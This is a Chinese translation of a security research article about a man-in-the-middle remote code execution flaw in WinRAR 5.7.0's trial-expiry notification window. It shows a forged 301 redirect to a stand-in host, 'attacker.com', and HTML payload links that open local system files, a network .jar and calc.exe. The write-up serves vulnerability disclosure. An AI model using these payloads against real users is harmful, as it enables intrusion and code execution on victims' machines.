WinRAR脆弱的试用版:当免费软件不再免费的时候

admin 2022年11月11日18:51:57SecIN安全技术社区WinRAR脆弱的试用版:当免费软件不再免费的时候已关闭评论50 views2646字阅读8分49秒阅读模式

译文来源:https://swarm.ptsecurity.com/winrars-vulnerable-trialware-when-free-software-isnt-free/。受个人知识所限及偏见影响,部分内容或存在过度曲解误解现象,望师傅们包含并提出建议,感谢。

在这篇文章中,我们讨论了 WinRAR 试用版中的一个漏洞,该漏洞对第三方软件的管理有着严重影响。该漏洞允许攻击者拦截和修改发送给该应用用户的请求,导致可以在受害者的计算机上实现远程代码执行(RCE)。

背景

WinRAR 是一款在 Windows 操作系统上管理归档文件的应用程序。它支持创建和解压常见的归档格式,如 RAR 和 ZIP。作为其发布的一款试用版软件,允许用户在一定的天数内体验该应用的全部功能。之后,用户可以在某些功能受限的情况下继续使用该软件。

研究结果

我们无意在 WinRAR 5.7.0 版本中发现了这个漏洞。在我们安装并使用该软件一段时间后,它出现了一个 JavaScript 报错:

WinRAR脆弱的试用版:当免费软件不再免费的时候

这一结果出人意料,因为这个错误就表明这是由 Internet Explorer 引擎显示的这个报错窗口。

在经过几次实验之后,可以明确的一点是,一旦试用期过了,那么在三次启动 WinRAR.exe 应用的过程中,大约就有一次会出现这个通知窗口。这个窗口是使用了基于 Borland C++ 实现的 mshtml.dll,而 WinRAR 也是用它编写的。

注:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444

WinRAR脆弱的试用版:当免费软件不再免费的时候

我们将本地的 Burp Suite 设置为默认的 Windows 代理,并尝试进行流量拦截,进一步了解为什么会发生这种情况,以及是否有可能对这一错误进行利用。由于请求是通过 HTTPS 进行发送的,WinRAR 的用户会收到关于 Burp 使用的不安全自签名证书的通知。不过,根据以往的经验来说,大多数用户还是会点击”Yes(是)“来继续使用该程序的。

WinRAR脆弱的试用版:当免费软件不再免费的时候

观察请求本身,我们可以在其中发现 WinRAR 的版本(5.7.0)及其架构信息(x64):

http
GET /?language=English&source=RARLAB&landingpage=expired&version=570&architecture=64 HTTP/1.1
Accept: */*
Accept-Language: ru-RU
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)
Host: notifier.rarlab.com
Connection: close
Cookie: _wr=; _gid=; _ga=

修改对终端用户的响应

接下来,我们试图修改从 WinRAR 截获的对用户的响应。我们注意到,如果将响应代码改为”301 Moved Permanently“,那么指向我们恶意域名”attacker.com“的重定向就会被缓存,所有的请求都将被转到”attacker.com“,而不是每次都需要对来自默认域名”notifier.rarlab.com“的响应进行拦截并修改为我们的恶意内容。

http
HTTP/1.1 301 Moved Permanently
content-length: 0
Location: http://attacker.com/?language=English&source=RARLAB&landingpage=expired&version=570&architecture=64
connection: close

远程代码执行

这种中间人攻击需要进行 ARP 欺骗,所以我们假设潜在的攻击者已经拥有了同一域内的访问权。这样我们就可以直接进入 IE 安全区中的1区。我们尝试了几种不同的攻击向量,以便于发现这种访问方式有什么可行性:

html
<a href="file://10.0.12.34/applications/test.jar">file://10.0.12.34/applications/test.jar</a><br>
<a href="\\10.0.12.34/applications/test.jar">\\10.0.12.34/applications/test.jar</a><br>
<a href="file://localhost/C:/windows/system32/drivers/etc/hosts">file://localhost/C:/windows/system32/drivers/etc/hosts</a><br>
<a href="file:///C:/windows/system32/calc.exe">file:///C:/windows/system32/calc.exe</a><br>
<a href="file:///C:\\windows\\system.ini">file:///C:\\windows\\system.ini</a><br>

上述代码涵盖了一些具有欺骗性的响应,显示出了几种可能的攻击向量,如运行应用程序,检索本地主机信息,以及运行计算器应用等。

WinRAR脆弱的试用版:当免费软件不再免费的时候

WinRAR脆弱的试用版:当免费软件不再免费的时候

大多数的攻击向量都是可以成功执行的,但需要注意的是,许多的攻击向量会导致触发额外的Windows安全警告。要使这些攻击成功执行的话,就需要用户点击”Run(运行)“而不是”Cancel(取消)“才可以继续执行。

WinRAR脆弱的试用版:当免费软件不再免费的时候

不过,这里还是有些类型的文件在运行时是不会触发安全警告的:

  • .DOCX
  • .PDF
  • .PY
  • .RAR

针对5.7之前的版本,还可以利用RAR文件在WinRAR中实现远程代码执行。这一步可以通过一个熟知的漏洞,CVE-2018-20250。

总结

当今一个组织面临的最大挑战之一就是对这些第三方软件的管理。一旦安装了这些软件,它们就可以在这些访问企业网络的设备上进行读取、写入和修改数据。而我们又不可能去审计用户可能安装的每一款应用程序,因此建立完备的政策对于管理与外部应用相关的风险以及平衡这种风险和对各种应用业务的需求来说就变得格外重要。不适当的管理则会产生一些深远的影响。

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月11日18:51:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  WinRAR脆弱的试用版:当免费软件不再免费的时候 http://cn-sec.com/archives/752221.html